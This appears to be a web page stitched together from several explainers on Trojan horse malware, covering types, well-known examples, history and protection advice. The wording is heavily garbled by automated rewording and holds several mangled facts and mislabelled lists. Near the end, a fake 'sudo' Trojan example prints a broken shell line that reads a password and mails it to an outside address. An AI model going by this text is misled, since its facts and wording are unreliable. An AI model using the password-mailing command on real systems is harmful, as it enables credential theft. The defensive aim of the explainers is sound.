- What is a Trojan Horse Virus? In cybersecurity terms, a Trojan horse is a piece of malware that can damage, steal, or otherwise harm your data or your computer network. Often referred to simply as a Trojan, this malicious software is usually disguised as a legitimate computer program.
What does a Trojan horse virus do?
A Trojan horse, or Trojan, is a type of malicious code or software that looks legitimate but can take control of your computer. A Trojan is designed to damage, disrupt, steal, or in general inflict some other harmful action on your data or network.
What is a Trojan horse virus example?
Trojans generally spread by some form of social engineering; for example, where a user is duped into executing an email attachment disguised to appear not suspicious (e.g., a routine form to be filled in), or by clicking on some fake advertisement on social media or anywhere else.
Is Trojan horse a friendly virus?
A Trojan will hide within seemingly harmless programs, or will try to trick you into installing it. Unlike viruses, Trojans do not self-replicate by infecting other files or computers.
How do Trojan horses work?
How Do Trojan Horses Work? Trojan viruses work by taking advantage of a lack of security knowledge by the user and security measures on a computer, such as an antivirus and antimalware software program. Once this happens, malware or other malicious content is installed and activated on the computer or other devices.
Can you get rid of Trojan virus?
It’s also important to protect your Android phones and tablets. Avast’s free antivirus tool for Android eliminates Trojans and other malware threats while keeping your Wi-Fi connection secure.
What is the most damaging computer virus?
The worst computer virus in the world is the Mydoom virus that induced around $38 billion in damage in 2004. Adjusted for inflation, its cost is estimated at around $52.2 billion. Another name for this virus is Novarg. It spread by mass emailing.
Can Windows Defender remove Trojan?
First introduced with Windows XP, Microsoft Defender is a free antimalware tool to protect Windows users from viruses, malware, and other spyware. You can use it to help detect and remove the Trojan from your Windows 10 system.
What does Trojan horse mean today?
Today, the term “Trojan horse” is still used to refer to any kind of deception or trick that involves getting a target willingly to allow an enemy into a secure place. The Trojan horse is also the source of the nickname “Trojans” for computer programs — called malware — that can infect computer systems.
What is the difference between a virus and a Trojan?
1. A Virus is a malicious executable code attached to another executable file which can be harmless or can modify or delete data. Trojan Horse is a form of malware that capture some important information about a computer system or a computer network. 2.
Can a Trojan horse infect an iPhone?
Malware is short for malicious software and includes Trojan horses, spyware apps, and viruses. The iPhone doesn’t typically get viruses, but other kinds of malware do exist, for example, spyware, which sends your activity to a third-party, or adware, which shows you extra and unwanted advertisements.
Do Trojan horses carry viruses or worms?
Worms spread from computer to computer, but unlike a virus, it has the capability to travel without any help from a person. A Trojan horse is not a virus. It is a destructive program that looks as a genuine application. Unlike viruses, Trojan horses do not replicate themselves but they can be just as destructive.
WHO released the first PC virus?
The Brain Boot Sector Virus Brain, the first PC virus, began infecting 5.2″ floppy disks in 1986. As Securelist reports, it was the work of two brothers, Basit and Amjad Farooq Alvi, who ran a computer store in Pakistan.
How do Trojan horses spread?
How are Trojans Horses Spread. Cyber criminals employ social engineering to spread Trojans. Victims are tricked into clicking on malicious email attachments, which look harmless. On execution, the Trojan executes itself.
How do we know it is a Trojan horse infected file?
= Malicious Windows: A trojan can trick users into visiting a fake or faudulent website. If unwanted windows or browsers on these pages open, this is a strong indication of a Trojan horse infection. =Missing Files: Programs installed by Trojans can also delete, encrypt, or move computer files to another location.
Is the Trojan horse real?
Turns out the epic wooden horse that gave the Greeks their victory was all a myth. Actually, historians are pretty much unanimous: the Trojan Horse was just a myth, but Troy was certainly a real place.
What Is A Trojan?
What is a Trojan Horse, and how does it work? A Trojan Horse, which takes its name from the narrative of the wooden horse that was used to fool the defenses of Troy into allowing armies into their city, is a malicious program that masquerades as a legitimate file. There are many different types of Trojan viruses that may be found on the Internet, each of which can perform a different function. A typical Trojan horse’s goal is to gain complete control over a victim’s computer in order to steal data and install further malware on the victim’s PC.
- This type of Trojan can install a “backdoor” on the victim’s computer, which grants the attacker access to the system, allowing him or her to take command of the machine, upload stolen data, and even download other malware onto the device. Malicious Downloader Trojans- The primary function of these Trojans is to download extra content into the victim machine, such as further malware. The Infostealer Trojan is a kind of malware whose primary goal is to steal information from the machine that has been infected. It is meant to give the attacker complete control over a computer through the use of a remote access Trojan. Malicious Trojan Horse for Distributed Denial of Service (DDoS) Attacks- This Trojan horse is used to launch DDoS attacks, which are meant to bring down networks by flooding them with traffic.
Trojan horses are a concern for all computers, not just laptops and desktops. It is possible that they will have an influence on your mobile devices. Trojan horses are typically connected to what appears to be a genuine software, but which is actually a clone of the legitimate program that has been infected with malware, known as a Trojan horse. These fraudsters would often distribute them through unauthorized and pirate app shops, where they may be downloaded by naïve consumers. They can also steal information from your smartphone and make income by sending premium SMS texts, in addition to the concerns described above.
How to Stay Protected:
- The first step in computer security is to install an Internet security package. Utilize your software to do periodic diagnostic scans. You may program the application to conduct scans automatically at predetermined intervals
- However, this is not recommended. When new versions of your operating system’s software become available from the software firm, you should install them as soon as they become available. These types of organizations are known for exploiting security flaws in out-of-date software applications. Additionally, you should check for updates on any other software that you use on your computer in addition to the operating system
- For example, antivirus software. Don’t go to any untrustworthy websites. Most Internet security packages contain a component that warns you if the site you’re going to visit is harmful
- However, this is not always the case. Do not open attachments or click on links in emails that you are unfamiliar with. Protect your accounts with complicated and one-of-a-kind passwords. Finally, you should always use firewalls to keep your sensitive information protected.
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What Is a Trojan Horse? Trojan Virus and Malware Explained
A Trojan Horse Virus is a sort of malware that infiltrates a computer by masquerading as a genuine software and then spreading across the system. The distribution method often involves an attacker employing social engineering techniques to conceal malicious code within genuine software in order to attempt to get access to a user’s system through their program. The simplest approach to answer the question “what is Trojan” is to say that it is a sort of malware that is often camouflaged as an attachment in an email or as a free-to-download file, after which it is transferred onto the user’s computer.
Unusual behavior on a device, such as the modification of computer settings without warning, is an indication that a Trojan is active on the device.
History of the Trojan Horse
It is possible to find the original account of the Trojan horse in the Aeneid by Virgil and the Odyssey by Homer, as well as other ancient texts. According to the myth, the enemies of the city of Troy were able to gain entry into the city gates by pretending that a horse had been sent to them as a gift. As soon as the troops went inside the massive wooden horse, they climbed out and opened the door for the other soldiers to enter. According to the narrative, there are a few aspects that make the phrase “Trojan horse” a fitting designation for these sorts of cyber attacks:
- The Trojan horse provided a one-of-a-kind countermeasure to the target’s defenses. According to the original account, the assailants had been laying siege to the city for ten years and had been unsuccessful in their attempts to capture it. They were able to gain entry because of the Trojan horse, which they had been seeking for a decade. A Trojan virus, in a similar vein, may be a useful tool for getting past an otherwise strong set of protections
- In this case, the Trojan horse looked to be a genuine gift. Another type of Trojan virus is one that seems to be legal software
- In this case, the troops in the Trojan horse were in charge of the city’s defensive system. When a Trojan virus infects your computer, the malware takes over and makes it susceptible to other “intruders.”
How Do Trojans Work?
A Trojan horse, in contrast to computer viruses, cannot manifest on its own; instead, it requires a user to download the server side of the program in order for it to function. This implies that the executable (.exe) file must be implemented and the program must be installed in order for the Trojan to be able to attack the system of a device. An email with a legitimate-looking attachment or an email with a legitimate-looking attachment that is spammed in order to reach as many people as possible is where a Trojan virus spreads.
- It is also possible for devices to become infected by a Trojan through the use of social engineering methods, which cyber criminals employ to trick users into installing a malicious program.
- A computer that has been infected with Trojan software has the potential to transfer it to other systems.
- Hackers can then use the zombie computer to spread malware across a network of devices, known as a botnet, which is a collection of compromised computers.
- The attachment, on the other hand, includes malicious code that executes and installs the Trojan on the recipient’s computer.
- The infection will remain undiscovered until the user does a certain activity, such as visiting a specific website or using a specific banking application.
- Depending on the type of Trojan and how it was developed, the virus may either destroy itself or return to a dormant state on the device, or it may continue active on it.
Trojans may also target and infect smartphones and tablets through the use of a type of mobile malware known as mobile malware. If an attacker redirects traffic to a device connected to a Wi-Fi network and then uses that device to perform cyberattacks, this is possible.
Most Common Types of Trojan Malware
There are many distinct varieties of Trojan horse viruses that cyber thieves employ to carry out a wide range of various acts and employ a wide range of different attack strategies. The following are the most often encountered Trojans:
- Malicious software known as a backdoor Trojan allows an attacker to obtain remote control over a computer and take control of it by exploiting a backdoor. Consequently, the malicious actor is allowed to perform whatever action they choose on the device, such as deleting files, resetting the computer, stealing data, or installing malware. A backdoor Trojan is widely employed in the creation of a botnet, which is comprised of a network of zombie computers. Banker Trojan: A banker Trojan is a type of malware that is designed to steal information about a user’s banking and financial accounts. Attempts are made to steal account information from credit and debit cards, e-payment systems, and internet banking systems. Distributed denial-of-service attacks (DDoS) (DDoS) Trojan: These Trojan programs are used to launch assaults on networks, causing them to become overburdened with traffic. This exploit will send repeated queries from a single computer or from a group of machines in an attempt to overwhelm a target web address and cause a denial of service to occur. Trojan horse that downloads and installs more dangerous applications on a machine that has already been infected with malware is referred to as a downloader Trojan (or downloader virus). It is possible that further Trojans or other forms of malware, such as adware, have been installed. Tornadoes that are designed to exploit particular vulnerabilities in an application or computer system are known as exploit malware programs, or exploit trojans. In order to exploit a known weakness, the cyber criminal will first target victims via a means such as a phishing attack, and then utilize the code included within the software. Trojan horse for fake antivirus software: A Trojan horse for fake antivirus software Trojan horse malware imitates the behavior of real antivirus programs. In the same way that a typical antivirus application detects and removes risks, the Trojan is designed to extract money from users in exchange for eliminating threats that may or may not exist. Trojan Horse as a game thief: A game-thief Trojan horse is a type of malware that is especially designed to steal user account information from users who are participating in online games. SMS (Short Message Service) (IM) Trojan horse: This sort of Trojan horse targets instant messaging systems in order to collect users’ login and password information. It is directed against prominent chat networks such as AOL Instant Messenger, ICQ, MSN Messenger, Skype, and Yahoo Pager, among others. Trojan horse that steals information: This virus may be used to either install Trojans or to prevent the user from noticing the presence of a malicious software on his or her computer. Antivirus systems may have difficulty detecting infostealer Trojans because of the components that make them tough to detect in scans. The Mailfinder Trojan is a malicious software program that searches for and intercepts email messages. In order to collect and steal email addresses that have been saved on a computer, the mailfinder Trojan is used. Malicious software known as ransomware is designed to hamper a computer’s performance or block data on a device so that the user can no longer access or use the device. In this case, the attacker will hold the user or organization hostage until the user or organization pays a ransom price in order to repair device damage or unlock the impacted data. Remote access Trojan: This strand of malware, which is similar to a backdoor Trojan, grants the attacker complete control over the victim’s machine. Because the cybercriminal keeps access to the device via a remote network connection, he or she can steal information or spy on the user. Rootkit Trojan: A rootkit Trojan is a type of malware that hides itself on a user’s computer and performs malicious actions. Its goal is to prevent harmful programs from being noticed, allowing malware to remain active on a machine that has been infected for a longer length of time. Trojan horse for the short messaging service (SMS): Once infected, an SMS Trojan is capable of transmitting and intercepting text messages from mobile devices. Included in this is the sending of messages to premium-rate phone lines, which raises the fees associated with a user’s phone bill. Trojan Horse for Spyware: Spyware Trojan horses are computer programs that are meant to sit on a user’s computer and spy on their activities. In this case, capturing their keyboard operations, collecting screenshots, gaining access to the programs they use, and tracking their login data are all included. SUNBURST: SolarWinds Orion Platforms were infected with the SUNBURST trojan malware, which spread across the system. Traitors used trojanized copies of a legal SolarWinds digitally signed file with the name SolarWinds.Orion.Core.BusinessLayer.dll to infect victims’ computers. A backdoor has been created by the trojanized file. Once it has been installed on a target computer, it will lay idle for two weeks before retrieving commands that will allow it to transmit, execute, do reconnaissance, reboot, and halt system functions, among other things. Predetermined URIs are used to communicate with one another
How To Recognize a Trojan Virus
A Trojan horse virus is capable of remaining on a device for months without the user being aware that their machine has been infected with it. However, telltale symptoms of the existence of a Trojan include changes in computer settings that occur unexpectedly, a decrease in computer performance, and odd activity occurring on the computer. Using a Trojan scanner or malware-removal software to look for and identify Trojans is the most effective method of identifying them.
How To Protect Yourself from Trojan Viruses
A Trojan horse virus is capable of remaining on a device for months without the user being aware that their machine has been infected with the virus. A Trojan’s existence is indicated by a rapid change in computer settings, a decrease in computer performance, or the occurrence of odd activities on the computer system. Using a Trojan scanner or malware-removal software to hunt for Trojans is the most effective technique to identify them.
Examples of Trojan Horse Virus Attacks
Trojan horse assaults, which infect computers and steal user data, have been responsible for a great deal of harm in the past. Trojan horses are well-known for a variety of reasons, including:
- Rakhni Trojan: The Rakhni Trojan infects devices by delivering ransomware or a cryptojacker program (which allows an attacker to utilize a device to mine bitcoin). Tiny Banker: Tiny Banker is a tool that allows hackers to obtain financial information from consumers. It was detected after it affected at least 20 banks in the United States. Zeus, also known as Zbot, is a toolkit that targets financial institutions and allows hackers to create their own Trojan virus. Zeus is also known as Zbot. Techniques such as form grabbing and keystroke logging are employed in the source code in order to capture user passwords and financial information.
How Fortinet Can Help?
The FortiGuard Labs Global Threat Intelligence system is used to enhance the effectiveness of the Fortinet antivirus services. FortiGuard is capable of removing 95,000 malicious applications in a single minute on average, according to the company. In order to accomplish this, FortiGuard incorporates information of the many types of viruses that exist in the worldwide threat environment. In order to neutralize each sort of danger, FortiGuard develops countermeasures that are automatically implemented by the system, therefore defending the networks that are covered by its protection.
What is a Trojan horse and what damage can it do?
When the horse’s stomach opened in the middle of the night, it was too late. At last, the Greeks had succeeded in taking the long-besieged city of Troy, so drawing the Trojan War to a close. Thousands of years later, the tale of the Trojan horse is still alive and well, but with a negative connotation in today’s society. After all, what was once hailed as a great trick and a superb job of engineering is today seen as a hostile digital insect whose single goal is to cause havoc on the systems of its victims while remaining undetected.
The following are examples of such actions:
- The act of deleting information, blocking information, modifying information, copying information, or interfering with the operation of computers or computer networks.
Trojan horses, in contrast to computer viruses and worms, are incapable of reproducing themselves.
Types of Trojan
They are one of the most basic Trojans, but they are also one of the most hazardous sorts of Trojan. This is due to the fact that, in their capacity as a gateway, they have the ability to either load a wide variety of viruses onto your system or, at the very least, make your computer exposed to attack. Botnets are frequently established with the use of a backdoor.
Your computer, without your awareness, becomes a member of a zombie network that is used to launch attacks against other computers. Besides that, backdoors can allow code and commands to be performed on your device and can be used to monitor your internet activity.
Exploits are programs that include data or code that takes advantage of a vulnerability in an application running on your computer and sends it to the server.
Rootkits are software programs that are meant to disguise specific items or actions in your computer’s operating system. Most of the time, their primary goal is to keep dangerous programs from being noticed in order to lengthen the amount of time that they may be executed on a machine that has been infected with them.
Emotet malware is one of the most well-known dropper Trojans. Although the malware has now been rendered harmless by antivirus software, it cannot, in contrast to a backdoor Trojan, execute any code on the computer that it is installed on. Instead, it spreads other viruses, such as the banking Trojan Trickbot and the ransomware Ryuk, which are both extremely dangerous. Thus, droppers and downloader Trojans are similar in nature, with the distinction being that downloaders require a network resource in order to draw malware from the network.
Both sorts of Trojans have the ability to be remotely updated in secret by the programmers responsible, for example, so that virus scanners do not notice them when new definitions are released.
Banking Trojans are among the most common types of Trojans to be found. This is not surprising given the increasing use of online banking, as well as the carelessness of certain users – they represent a potential technique for attackers to obtain money in a short period of time. In order to do this, they must first get access credentials to bank accounts. Phishing strategies are used to do this, such as redirecting purported victims to an impersonated website where they are instructed to submit their access credentials.
Despite efforts, distributed denial-of-service (DDoS) assaults continue to plague the internet. The server or network is bombarded with requests in these assaults, which are often carried out by a botnet. Amazon, for example, was able to fend off a record-breaking attack on its computers in mid-June 2020. The Amazon web services were targeted with a data flow of 2.3 gigabytes per second for more than three days, according to the company. To obtain that level of computational power, it is necessary to have a massive bot network.
On the surface, they appear to be operating normally, yet they are actually operating in the background as attackers.
Websites or even whole networks may become inaccessible if a botnet assault or a distributed denial of service (DDoS) attack is successful.
Fake antivirus Trojans
False antivirus software Trojan horses are exceptionally sneaky and cunning. Instead of safeguarding, they do catastrophic damage to any gadget they touch. Because of the purported virus discoveries, they want to instill fear in the hearts of unwary consumers, convincing them to spend money to get adequate protection. However, instead of receiving an useful virus scanner, the user is presented with even more issues, since their purchase information is transmitted to the Trojan’s creator for future exploitation.
The information included in user accounts of online gamers is stolen by this sort of software.
Trojan-IM (Instant Messaging)
Trojan-IM programs are designed to steal your login information and passwords for instant messaging applications such as ICQ, MSN Messenger, AOL Instant Messenger, Yahoo Pager, Skype, and other similar programs. One may claim that these messengers are no longer in widespread usage these days. Even new message services, on the other hand, are not immune to Trojans. Trojans might potentially target popular messaging apps such as Facebook Messenger, WhatsApp, Telegram, and Signal. Recently, a Windows Trojan was commandeered using a Telegram channel, which occurred in December 2020.
Skygofree, a Trojan horse developed by Kaspersky Lab, was discovered in January 2018 by security experts.
The Skygofree Trojan may also be used to spy on users of the popular messaging app WhatsApp.
This sort of Trojan might change data on your computer in such a way that your machine no longer functions properly or that you are unable to access specified data. The thief will only restore your computer’s performance or unblock your data if you have given them the ransom money that they have demanded in exchange for your machine.
Despite the fact that they appear to be a relic from another century, they are still operational and constitute a huge threat to society. SMS Trojans, such as the Android virus, are quite common. Faketokencan may function in a variety of ways. Faketoken, for example, sends large quantities of SMS messages to costly overseas lines while masquerading as a typical SMS application on the operating system. The charges associated with this must be covered by the smartphone owner. A other type of SMS Trojan is one that establishes connections to costly premium SMS providers.
Trojan-Spy programs can monitor how you use your computer, for example, by monitoring the data you enter through your keyboard, collecting screenshots, or compiling a list of all the apps currently operating on your computer.
When you use a computer, these apps can collect email addresses from it. In addition, there are more sorts of Trojans, which are as follows:
Trojans as a threat to all end devices
Trojan horses are no longer limited to Windows systems; they are now increasingly targeting Mac computers and mobile devices. So you should never feel too secure or go online without up-to-date antimalware protection, such as Kaspersky Internet Security from Kaspersky Lab. Most malware infects computers by way of infected attachments, corrupted text messages, or fraudulent websites that appear legitimate. However, there are secret service Trojans that may be installed on target computers remotely, without the user’s knowledge and without the targets’ involvement in the installation process at all.
Pegasus is equipped with an extensive arsenal of interception possibilities.
Criminals are being monitored and tracked down in Germany as well, thanks to the employment of a government-sponsored Trojan.
Cybercriminals want to cause maximum damage with Trojans
Whereas law enforcement agencies utilize surveillance tools to track down and punish illegal activity, cybercriminals have the exact opposite goal in mind. In the latter situation, it is all about gaining personal gain at the expense of their victims in order to justify their actions. In order to do this, the crooks employ a variety of programs, and in some cases, complete malware chains. How do they manage to accomplish it? An example of this would be a backdoor that was placed on the computer without the user’s knowledge through an infected email attachment.
Another example is a keylogger, which records keystrokes such as passwords or confidential material, a banking Trojan, which steals financial data, or ransomware, which encrypts the entire machine and only releases the hijacked data once a considerable sum of bitcoin has been paid in bitcoin.
The “Trojan King,” strictly speaking, is a bot network that searches for victims by sending spam emails and infecting Word or Excel documents with malicious code.
In conclusion, I would want to say that
- Emotet is widely regarded as one of the most destructive and dangerous Trojans on the internet. It has not yet been determined who is behind Emotet. The amount of harm produced by Emotet is in the millions of dollars. The majority of the targets are businesses. If Emotet scans the saved email addresses from address books and adds them to its massive database, private users may still be impacted. For further protection, deactivate macros in Word and Excel and do not open attachments from emails from unknown senders in addition to using the most up-to-date software available.
Piggybacking onto the end device
Trojan horses may be discovered in a variety of places, not only email attachments. They can also “piggyback” on programs that are advertised as being free. This reinforces the need of refraining from using questionable sources for software downloads such as codec packs or pirated applications, even if doing so may result in a few euros in savings. The damage that Trojans may inflict often outweighs the value of the software that would have been obtained through legitimate methods. It should be noted that a Trojan horse is not to be mistaken with a virus.
Computer viruses are self-replicating entities, whereas a Trojan horse is only a door opener — with potentially catastrophic results. As a result, the following is a checklist for protecting yourself and your equipment from Trojans:
- Consider your actions before opening attachments from emails. Make sure you know who sent it and what it says, and think about whether or not you really need to open the attachment. Maintain the most recent versions of your mobile and fixed systems at all times. Installation of security updates on a regular basis is recommended, both for the operating system and for the programs that are installed
- Allowing macros in Word and Excel is not recommended. Do not simply click on links without considering your options. In addition, there is the risk of a drive-by infection occurring. A virus installation that takes place in the background while a user is browsing phony websites, which ensures that the malware is downloaded onto the home system without the user’s knowledge. Downloading apps from untrustworthy sites should be avoided. Installing programs that are not available in the Google Play Store or the Apple Store should be avoided on mobile devices. Always show all file extensions in a single window. Using this tool, you may determine whether or not a putative picture – generally with the jpg extension – is supported by an executable file with the exe extension. Make use of two-factor authentication, which may be accomplished using a mobile app and strong passwords (preferably through a password manager) as an extra security safeguard
- Always scan your system using a virus scanner that has the most up-to-date virus definitions available. Harmful applications and malicious information are protected from your computer by the Kaspersky Internet Security Suite. Regular backups of your data are a good idea. Not just on cloud services, but also on a physical data carrier, such as a mobile SSD or HDD hard disk connected through a USB port.
Be careful when surfing the web
The Trojans described below are the most well-known varieties. One thing that all of them have in common is that they can only be installed on a computer or mobile device with the assistance of the user. These risks should be avoided, however, if you use caution when surfing the web, do not open email attachments without thinking, and only download programs from trusted sources. An up-to-date operating system, as well as a virus scanner that is always on, will provide you with even more protection against Trojans.
These security solutions protect against Trojans and other online threats:
Kaspersky Internet Security is a security software program developed by Kaspersky Labs. Kaspersky Total Security is a security suite developed by Kaspersky Labs. Kaspersky Security Cloud is a service provided by Kaspersky Lab. Articles that are related: Detecting malware – what encryption can tell you Trojans are different. Advice on how to prevent being a victim of phishing Data security against ransomware — how to keep your information safe
What is a Trojan Virus & How to Protect
A Trojan, often known as a Trojan horse, is a sort of malware that conceals its real content in order to deceive the user into believing it is a harmless file or program. The “payload” carried by a Trojan is unknown to the user, much like the wooden horse that was used to sack Troy, but it may operate as a delivery vehicle for a wide range of dangers to the system.
Are you prepared for today’s attacks? Discover the year’s biggest cyber threats in our annual Threat Report.
The following are some of the most frequent forms of Trojan viruses:
- Cybercriminals use backdoor Trojans to get remote access and control over a computer, which they use to upload, download, and execute programs at whim. These Trojans inject code onto a computer that is specifically designed to take advantage of a flaw in a certain piece of software
- They are also known as exploit Trojans. Rootkit Trojans-These Trojans are designed to prevent malware from being discovered once it has infected a system, allowing it to cause the most amount of harm possible. The Banker Trojan horse is a sort of Trojan horse that is especially designed to target personal information needed for banking and other online activities. DDoS Trojans- These are Trojans that are programmed to carry out Distributed Denial of Service (DDoS) assaults, in which a network or system is rendered inoperable by a flood of requests coming from a variety of different sources. The term “downloader Trojans” refers to programs that are written to download new malware, which may include other Trojans, onto a device.
How to recognize and detect a Trojan virus
For this reason, if you believe that your device has been penetrated by a Trojan, you should search for many of the same telltale indicators of malicious software as if it had been breached by a virus or other sort of malicious software. These may include the following:
- A slow-running computer or a gadget that crashes more frequently than usual are signs of a problem with device performance. Weird device behavior- Are there apps running on your device that you did not activate, or are there other inexplicable activities operating on your device? Is there an increase in the amount of disruptions caused by browser pop-ups or spam emails?
The possibility that a Trojan virus has managed to sneak its payload onto your computer is a possibility if your device is showing these symptoms. Start by looking through your computer to see if there are any apps or applications that you didn’t install yourself. Search engines may be used to identify whether or not any unknown file names or applications are in fact identified Trojans. If you haven’t already, run a virus scan on your computer to see if any harmful files have been discovered by your antivirus program.
Examples of Trojans
- A successful Trojan software program, Zeus (also known as Zbot), with several versions, is used to carry out a variety of various sorts of attacks. Zeus is sometimes referred to as Zbot. Probably its most well-known accomplishment is the successful hacking of the United States Department of Transportation. In addition to being one of the first password-stealing Trojans to target Linux and OSX users, Wirenet is famous for being one of the first to target Windows users, many of whom were fleeing from Windows operating systems due to alleged security concerns. Mobile banking Trojans- Webroot has identified a number of Trojans that have been built to target mobile banking applications with the intent of stealing login credentials or replacing legal applications with malicious ones.
Protect your computer from Trojan horse threats
Effective cybersecurity software should be your first line of defense against the vast majority of frequent cyber risks, just as it should be for guarding against most common cyber threats. An efficient internet security solution should do regular scans at a high speed and notify you as soon as a Trojan infection has been found. Please review our page on eradicating malware from your computer if you’re seeing this because it’s already too late to do anything about it. If you’re reading this to learn how to keep yourself safe from these sorts of assaults in the future, there are a few best practices you can follow in addition to downloading cybersecurity software to help keep yourself protected:
- Always be cautious when downloading or installing software from a source you don’t totally trust. Open no attachments and do not launch any programs that have been provided to you in an email from someone who you do not know. All software on your computer should be kept current with the most recent updates. Make certain that a Trojan anti-virus program is installed and operating on your computer.
Read more about Trojan viruses
Keep an eye on the Webroot Threat Blog to keep up to speed on the latest Trojan malware and other online dangers that have emerged.
In this section, you’ll find information from our team of professional threat researchers on the latest threats, cybercrime trends, and other breaking news from throughout the cybersecurity sector.
Trojan horse (computing) – Wikipedia
In computers, a trojan horse is any malicious software that deceives people about its actual intentions. Trojan Horse is a word that comes from theAncient Greek legend of the deceptiveTrojan Horse, which resulted in the collapse of the city ofTroy. Trojans are often propagated using some type of social engineering, such as tricking a user into opening an email attachment that appears to be unimportant (e.g., a regular form to be filled out), or tricking a user into clicking on a bogus advertising on social media or elsewhere.
Ransomware attacks are frequently carried out through the use of a trojan horse.
Use of the term
It is unclear when or when the notion, as well as the phrase for it, initially appeared, but by 1971 the first Unix handbook presumed that its readers were familiar with both: Also, if the set—user—ID bit is enabled, it is not permitted to alter the owner of a file; otherwise, Trojan Horses capable of misusing other people’s data might be created. Another early mention may be found in a 1974 study by the United States Air Force on the investigation of vulnerability in Multicscomputer systems.
A study on the security of Multics informed him about the possibility of the presence of trojans, which he shared with the group.
Once installed, trojans have the ability to carry out a variety of destructive acts. Many people choose to make contact with one or more Command and Control (C2) servers located around the Internet and wait for instructions. In addition, because individual trojans often communicate over a unique set of ports, it can be rather straightforward to identify and identify them. Furthermore, additional software may be able to “take over” the trojan, allowing it to operate as a gateway for harmful activity.
Govware is often a Trojan horse program that is used to intercept communications from the target computer’s network interface card.
SwissMiniPanzer and MegaPanzer, as well as the German “state trojan” called R2D2, are examples of govware trojans to watch out for.
Trojans are becoming increasingly prevalent as a result of the growing popularity of botnets among hackers, as well as the availability of advertising services that allow writers to breach the privacy of their customers.
According to BitDefender, around 15% of PCs are members of a botnet, which is often recruited through a trojan infection.
A Trojan horse is a software that appears to fulfill an obvious purpose, but when it is executed, it compromises the security of the computer’s user. An example of a straightforward application is a new version of the Linuxsudocommand. The command is then copied to a place that is accessible to the public, such as /tmp. A Trojan horse might be run if an administrator happens to be in that directory at the time and executessudo on the command line. Here is an example of a functional version: Turn off the character echo to the screen with the sudo command.
sttyechoecho $x|mail -s |mail -s “‘whoami’ password”[email protected] “‘whoami’ password” sleep1echo Sorry for the inconvenience.
- R2D2 is an acronym for the FBI
- 0zapftis is an abbreviation for R2D2. State Trojaner– DigiTask
- DarkComet– CIA/NSA
- FinFisher– Lench IT solutions / Gamma International
- DaVinci / Galileo RCS– HackingTeam
- Magic Lantern– FBI
- SUNBURST– SVR / Cozy Bear(suspected)
- TAO QUANTUM/FOXACID– NSA
- WARRIOR PRIDE– GCHQ
- Late 1980s
- Netbus– 1998 (published)
- Back Orifice– 1998 (published)
- Beast– 2002 (published)
- Bifrost trojan– 2004 (published)
- DarkComet– 2008-2012 (published)
- Blackhole exploit kit– 2012 (published)
- Gh0st RAT– 2009 (published)
- MegaPanzer BundesTrojaner– 2009 (published)
- MEMZby Leurak– 2016 (published)
- EGABTR– late 1980s
Detected by security researchers
- Twelve Tricks was created in 1990
- Clickbot.A was created in 2006 (discovered)
- Zeus was created in 2007 (discovered)
- Flashback trojan was created in 2011 (discovered)
- ZeroAccess was created in 2011 (discovered)
- Koobface was created in 2008 (discovered)
- Vundo was created in 2009 (discovered)
- Coreflood was created in 2010 (discovered)
- Tiny Banker Trojan was created in 2012 (discovered)
- ShedunAndroid malware was created in 2015 (discovered).
The phrase “trojan horse” in computer jargon comes from the legendaryTrojan Horse of the ancient city of Troy, which inspired the term. As a result, the word “Trojan” is frequently capitalized. While style guidelines and dictionaries differ, many recommend that “trojan” be written in lower case for everyday use.
- Industrial espionage
- Computer security
- Cuckoo’s egg (metaphor)
- Cyber spying
- Dancing pigs
- Exploit (computer security)
- Principle of least privilege
- Remote administration
- Remote administration software
- Reverse connection
- Malicious software
- Rogue security software
- Privacy-invasive software Zombie (computer science)
- Technical support scam
- Timeline of computer viruses and worms
- Carl E. Landwehr, Alan R. Bull, John P. McDermott, and William S. Choi are among the authors of this work (1993). a taxonomy of computer software security issues, illustrated through case studies Document from the DTIC. CiteSeerX10.1.1.35.997. “Trojan Horse Definition” was retrieved on April 5, 2012, and “Trojan horse” was retrieved on April 5, 2012. Webopedia. Retrieved on April 5, 2012
- “What is a Trojan horse? – Definition from Whatis.com”
- “What is a Trojan horse?” “Trojan Horse:N” was discovered on April 5, 2012. “Difference between viruses, worms, and trojans,” according to a Wikipedia article from April 5, 2012. Symantec Security Center is a security management tool. Broadcom Inc. is a telecommunications company based in San Jose, California. The original version of this article was published on August 19, 2013. “VIRUS-L/comp.virus Frequently Asked Questions (FAQ) v2.00 (Question B3: What is a Trojan Horse?)” was retrieved on March 29, 2020 from “VIRUS-L/comp.virus Frequently Asked Questions (FAQ) v2.00”. UNIX PROGRAMMER’S MANUAL, November 3, 1971
- Thompson, K. “UNIX PROGRAMMER’S MANUAL, October 9, 1995” (PDF). Retrieved on March 28, 2020
- Karger, P.A., and Schell, R.R., “Multics Security Evaluation: Vulnerability Analysis, ESD-TR-74-193″(PDF), Headquarters Electronic Systems Division: Hanscom AFB, MA,II
- Ken Thompson (1984), “Reflection on Trusting Trust” (PDF), HQ Electronic Systems Division: Hanscom AFB, MA,II
- HQ Electronic Systems Division: Hanscom AFB Commun. ACM.27(8): 761–763, doi:10.1145/358198.358210
- Paul A. Karger and Roger R. Schell (2002), “Thirty Years Later: Lessons from the Multics Security Evaluation” (PDF), ACSAC: 119–126
- Paul A. Karger and Roger R. Schell According to Karger and Schell, Thompson included the following reference in a later version of his Turing conference: Crapanzano, Jamie (November 1989), “On Trusting Trust.” Unix Review, 7(11): 70–74
- Thompson, Ken (November 1989), “On Trusting Trust” (2003). The Deconstruction of SubSeven, the Trojan Horse of Opportunistic Choice (Report). The SANS Institute is a non-profit organization dedicated to information security. abBasil Cupa, Trojan Horse Resurrected: On the Legality of the Use of Government Spyware (Govware), LISS 2013, pp. 419–428
- “Häufig gestellte Fragen (Frequently Asked Questions)”. Retrieved on May 10, 2021. Department of Justice and Police of the United States of America The original version of this article was published on May 6, 2013
- Dunn, John (August 27, 2009). “Swiss coder publicizes government espionage Trojan.” TechWorld. The original version of this article was published on January 26, 2014. “German federal police deploy trojan virus to overcome phone encryption,” according to a report published on January 10, 2021. According to a BitDefender Malware and Spam Survey, E-Threats are adapting to online behavioral trends, according to DW. Retrieved April 14, 2018. BitDefender. The original version of this article was published on August 8, 2009. In Datta, Ganesh (August 7, 2014), “What Are Trojan Horses?,” he explains what Trojan horses are. SecurAid. The original version of this article was published on August 12, 2014. Obtainable on March 27, 2020
